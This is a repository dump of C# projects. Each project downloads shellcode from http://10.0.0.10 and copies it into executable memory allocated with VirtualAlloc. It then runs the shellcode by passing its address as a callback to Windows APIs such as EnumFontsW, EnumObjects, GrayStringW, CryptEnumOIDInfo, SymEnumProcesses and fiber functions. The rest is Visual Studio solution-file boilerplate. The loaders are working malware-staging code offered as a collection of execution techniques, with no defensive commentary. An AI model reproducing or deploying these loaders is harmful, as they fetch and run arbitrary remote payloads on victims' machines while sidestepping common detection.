26 | [DllImport("kernel32.dll", SetLastError = true)]
27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
28 |
29 | [DllImport("Dbghelp.dll", CharSet = CharSet.Unicode)]
30 | static extern bool EnumDirTreeW(IntPtr hProcess, string RootPath, string FileName, IntPtr OutputPathBuffer, IntPtr CallbackPtr, IntPtr data);
31 |
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/EnumFontsW/EnumFontsW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumFontsW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hDevContext = GetDC(IntPtr.Zero);
22 |
23 | EnumFontsW(hDevContext, IntPtr.Zero, addr, IntPtr.Zero);
24 |
25 | }
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
29 |
30 | [DllImport("user32.dll")]
31 | static extern IntPtr GetDC(IntPtr hWnd);
32 |
33 | [DllImport("gdi32.dll")]
34 | static extern int EnumFontsW(IntPtr hdc, IntPtr lpLogfont, IntPtr lpProc, IntPtr lParam);
35 |
36 | }
37 | }
38 |
39 |
--------------------------------------------------------------------------------
/EnumObjects/EnumObjects/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumObjects
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hDevContext = GetDC(IntPtr.Zero);
22 |
23 | EnumObjects(hDevContext, 0x2, addr, IntPtr.Zero);
24 |
25 | }
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
29 |
30 | [DllImport("user32.dll")]
31 | static extern IntPtr GetDC(IntPtr hWnd);
32 |
33 | [DllImport("gdi32.dll")]
34 | static extern int EnumObjects(IntPtr hdc, int nType, IntPtr lpFunc, IntPtr lParam);
35 |
36 |
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/EnumFontFamiliesW/EnumFontFamiliesW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumFontFamiliesW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hDevContext = GetDC(IntPtr.Zero);
22 |
23 | EnumFontFamiliesW(hDevContext, IntPtr.Zero, addr, IntPtr.Zero);
24 |
25 | }
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
29 |
30 | [DllImport("user32.dll")]
31 | static extern IntPtr GetDC(IntPtr hWnd);
32 |
33 | [DllImport("gdi32.dll")]
34 | static extern int EnumFontFamiliesW(IntPtr hdc, IntPtr lpLogfont, IntPtr lpProc, IntPtr lParam);
35 |
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/EnumerateLoadedModules/EnumerateLoadedModules/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumerateLoadedModules
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hProc = GetCurrentProcess();
22 |
23 | EnumerateLoadedModules(hProc, addr, IntPtr.Zero);
24 |
25 | }
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
29 |
30 | [DllImport("kernel32.dll")]
31 | static extern IntPtr GetCurrentProcess();
32 |
33 | [DllImport("dbghelp.dll")]
34 | static extern bool EnumerateLoadedModules(IntPtr hProcess, IntPtr EnumLoadedModulesCallback, IntPtr UserContext);
35 | }
36 | }
37 |
38 |
--------------------------------------------------------------------------------
/EnumFontFamiliesExW/EnumFontFamiliesExW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace EnumFontFamiliesExW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hDevContext = GetDC(IntPtr.Zero);
22 |
23 | EnumFontFamiliesExW(hDevContext, IntPtr.Zero, addr, IntPtr.Zero, 0);
24 |
25 | }
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
29 |
30 | [DllImport("user32.dll")]
31 | static extern IntPtr GetDC(IntPtr hWnd);
32 |
33 | [DllImport("gdi32.dll")]
34 | static extern int EnumFontFamiliesExW(IntPtr hdc, IntPtr lpLodfont, IntPtr lpProc, IntPtr lParam, int dwFlags);
35 |
36 |
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/GrayStringW/GrayStringW/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace GrayStringW
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr pDeviceContext = GetDC(IntPtr.Zero);
22 |
23 | GrayStringW(pDeviceContext, IntPtr.Zero, addr, IntPtr.Zero, 1, 1, 1, 1, 1);
24 | }
25 |
26 | [DllImport("kernel32.dll", SetLastError = true)]
27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
28 |
29 | [DllImport("user32.dll")]
30 | static extern IntPtr GetDC(IntPtr hWnd);
31 |
32 | [DllImport("user32.dll")]
33 | static extern bool GrayStringW(IntPtr hDC, IntPtr hBrush, IntPtr lpOutputFunc, IntPtr lpData, int nCount, int X, int Y, int nWidth, int nHeight);
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/VerifierEnumerateResource/VerifierEnumerateResource/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace VerifierEnumerateResource
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hProcess = GetCurrentProcess();
22 |
23 | VerifierEnumerateResource(hProcess, 0, 0, addr, IntPtr.Zero);
24 |
25 | }
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
29 |
30 | [DllImport("kernel32.dll")]
31 | static extern IntPtr GetCurrentProcess();
32 |
33 | [DllImport("verifier.dll")]
34 | static extern ulong VerifierEnumerateResource(IntPtr hProcess, ulong Flags, ulong ResourceType, IntPtr ResourceCallback, IntPtr EnumerationContext);
35 | }
36 | }
37 |
38 |
--------------------------------------------------------------------------------
/CryptEnumOIDInfo/CryptEnumOIDInfo/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.CompilerServices;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace CryptEnumOIDInfo
10 | {
11 | internal class Program
12 | {
13 | static void Main(string[] args)
14 | {
15 | string url = "http://10.0.0.10/shellcode.bin";
16 | System.Net.WebClient client = new System.Net.WebClient();
17 | byte[] shellcode = client.DownloadData(url);
18 |
19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x1000, 0x40);
20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
21 |
22 | CryptEnumOIDInfo(null, null, IntPtr.Zero, addr);
23 |
24 | //WaitForSingleObject(addr, 0xFFFFFFFF);
25 | }
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
29 |
30 | [DllImport("crypt32.dll", SetLastError = true)]
31 | public static extern IntPtr CryptEnumOIDInfo(String dwGroupId, String dwFlags, IntPtr pvArg, IntPtr pfnEnumOIDInfo);
32 |
33 | [DllImport("kernel32.dll", SetLastError = true)]
34 | static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/ConvertThreadToFiber/ConvertThreadToFiber/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace ConvertThreadToFiber
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | ConvertThreadToFiber(IntPtr.Zero);
15 |
16 | string url = "http://10.0.0.10/shellcode.bin";
17 | System.Net.WebClient client = new System.Net.WebClient();
18 | byte[] shellcode = client.DownloadData(url);
19 |
20 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
21 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
22 |
23 | IntPtr lpFiber = CreateFiber(shellcode.Length, addr, IntPtr.Zero);
24 |
25 | SwitchToFiber(lpFiber);
26 | }
27 |
28 | [DllImport("kernel32.dll")]
29 | static extern IntPtr ConvertThreadToFiber(IntPtr lpParameter);
30 |
31 | [DllImport("kernel32.dll", SetLastError = true)]
32 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
33 |
34 |
35 | [DllImport("kernel32.dll")]
36 | static extern IntPtr CreateFiber(int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter);
37 |
38 | [DllImport("kernel32.dll")]
39 | static extern void SwitchToFiber(IntPtr lpFiber);
40 |
41 | }
42 | }
43 |
44 |
--------------------------------------------------------------------------------
/SymEnumProcesses/SymEnumProcesses/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SymEnumProcesses
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hProcess = GetCurrentProcess();
22 |
23 | SymInitialize(hProcess, null, false);
24 |
25 | SymEnumProcesses(addr, IntPtr.Zero);
26 |
27 | }
28 |
29 | [DllImport("kernel32.dll", SetLastError = true)]
30 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
31 |
32 | [DllImport("kernel32.dll")]
33 | static extern IntPtr GetCurrentProcess();
34 |
35 | [DllImport("dbghelp.dll")]
36 | static extern bool SymInitialize(IntPtr hProcess, String UserSearchPath, bool fInvadeProcess);
37 |
38 | [DllImport("dbghelp.dll")]
39 | static extern bool SymEnumProcesses(IntPtr EnumProcessesCallback, IntPtr UserContext);
40 |
41 |
42 | }
43 | }
44 |
45 |
--------------------------------------------------------------------------------
/SysEnumSourceFiles/SysEnumSourceFiles/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace SysEnumSourceFiles
9 | {
10 | internal class Program
11 | {
12 | static void Main(string[] args)
13 | {
14 | string url = "http://10.0.0.10/shellcode.bin";
15 | System.Net.WebClient client = new System.Net.WebClient();
16 | byte[] shellcode = client.DownloadData(url);
17 |
18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length);
20 |
21 | IntPtr hProcess = GetCurrentProcess();
22 |
23 | SymInitialize(hProcess, null, true);
24 |
25 | SymEnumSourceFiles(hProcess, 0, null, addr, IntPtr.Zero);
26 | }
27 |
28 | [DllImport("kernel32.dll", SetLastError = true)]
29 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
30 |
31 | [DllImport("kernel32.dll")]
32 | static extern IntPtr GetCurrentProcess();
33 |
34 | [DllImport("dbghelp.dll")]
35 | static extern bool SymInitialize(IntPtr hProcess, String UserSearchPath, bool fInvadeProcess);
36 |
37 | [DllImport("dbghelp.dll")]
38 | static extern bool SymEnumSourceFiles(IntPtr hProcess, ulong ModBase, String Mask, IntPtr cbSrcFiles, IntPtr UserContext);
39 | }
40 | }
41 |
42 |
--------------------------------------------------------------------------------
/LineDDA/LineDDA.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LineDDA", "LineDDA\LineDDA.csproj", "{5C806A79-393D-465A-A0F7-9456B0D31D39}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|x64.ActiveCfg = Debug|x64
19 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|x64.Build.0 = Debug|x64
20 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|x64.ActiveCfg = Release|x64
23 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {087F71A6-2230-4C17-B568-54A5539E7D49}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SetTimer/SetTimer.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SetTimer", "SetTimer\SetTimer.csproj", "{E7C28702-F2CF-45DE-87E6-6C1497533769}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|x64.ActiveCfg = Debug|x64
19 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|x64.Build.0 = Debug|x64
20 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|x64.ActiveCfg = Release|x64
23 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {610FB576-6FF9-4BE7-B5A7-E6F0BF56CD0F}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CopyFile2/CopyFile2.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CopyFile2", "CopyFile2\CopyFile2.csproj", "{53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|x64.ActiveCfg = Debug|x64
19 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|x64.Build.0 = Debug|x64
20 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|x64.ActiveCfg = Release|x64
23 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {CBCEF649-1BB4-4ECC-97F5-6C61E96E6812}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumFontsW/EnumFontsW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumFontsW", "EnumFontsW\EnumFontsW.csproj", "{FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|x64.ActiveCfg = Debug|x64
19 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|x64.Build.0 = Debug|x64
20 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|x64.ActiveCfg = Release|x64
23 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {4183982D-CE97-442D-9452-63C0273802E7}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumDirTree/EnumDirTree.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDirTree", "EnumDirTree\EnumDirTree.csproj", "{73F67A0D-56BF-4A5D-9B72-52E3776E772D}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|x64.ActiveCfg = Debug|x64
19 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|x64.Build.0 = Debug|x64
20 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|x64.ActiveCfg = Release|x64
23 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {CE372C9E-A681-4B14-9490-D28882FC48DF}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumObjects/EnumObjects.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumObjects", "EnumObjects\EnumObjects.csproj", "{9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|x64.ActiveCfg = Debug|x64
19 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|x64.Build.0 = Debug|x64
20 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|x64.ActiveCfg = Release|x64
23 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {A6E71D20-AA8A-4F49-B700-6B62075E9FE1}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumWindows/EnumWindows.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumWindows", "EnumWindows\EnumWindows.csproj", "{AE92DFAF-D9FD-4B98-929F-90E50502DA78}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|x64.ActiveCfg = Debug|x64
19 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|x64.Build.0 = Debug|x64
20 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|x64.ActiveCfg = Release|x64
23 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
